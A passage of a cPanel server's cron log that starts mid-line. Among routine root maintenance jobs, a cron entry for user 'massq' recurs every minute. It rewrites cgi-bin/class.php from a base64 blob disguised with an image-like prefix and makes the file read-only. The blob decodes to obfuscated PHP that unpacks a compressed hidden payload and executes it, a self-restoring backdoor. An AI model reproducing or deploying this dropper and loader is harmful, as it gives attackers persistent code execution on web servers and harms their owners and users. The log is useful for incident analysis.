k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:34:01 server CROND[18765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:34:01 server CROND[18766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:34:01 server CROND[18767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:35:01 server CROND[19250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:35:01 server CROND[19252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:35:01 server CROND[19253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:35:01 server CROND[19254]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 20:35:01 server CROND[19259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:35:01 server CROND[19256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:35:01 server CROND[19260]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:35:01 server CROND[19258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:35:01 server CROND[19255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:36:01 server CROND[20093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:36:01 server CROND[20094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:36:01 server CROND[20095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:37:01 server CROND[20474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:37:01 server CROND[20475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:37:01 server CROND[20477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:38:01 server CROND[20891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:38:01 server CROND[20892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:38:01 server CROND[20893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:39:01 server CROND[21281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:39:01 server CROND[21282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:39:01 server CROND[21283]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 20:39:01 server CROND[21280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:40:01 server CROND[21676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:40:01 server CROND[21678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:40:01 server CROND[21679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:40:01 server CROND[21684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:40:01 server CROND[21683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:40:01 server CROND[21686]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:40:01 server CROND[21687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:40:01 server CROND[21688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:41:01 server CROND[22604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:41:01 server CROND[22605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:41:01 server CROND[22607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:42:01 server CROND[23148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:42:01 server CROND[23147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:42:01 server CROND[23149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:42:01 server CROND[23150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:43:01 server CROND[23536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:43:01 server CROND[23538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:43:01 server CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:44:01 server CROND[23916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:44:01 server CROND[23917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:44:01 server CROND[23918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:45:01 server CROND[24337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:45:01 server CROND[24340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:45:01 server CROND[24342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:45:01 server CROND[24338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
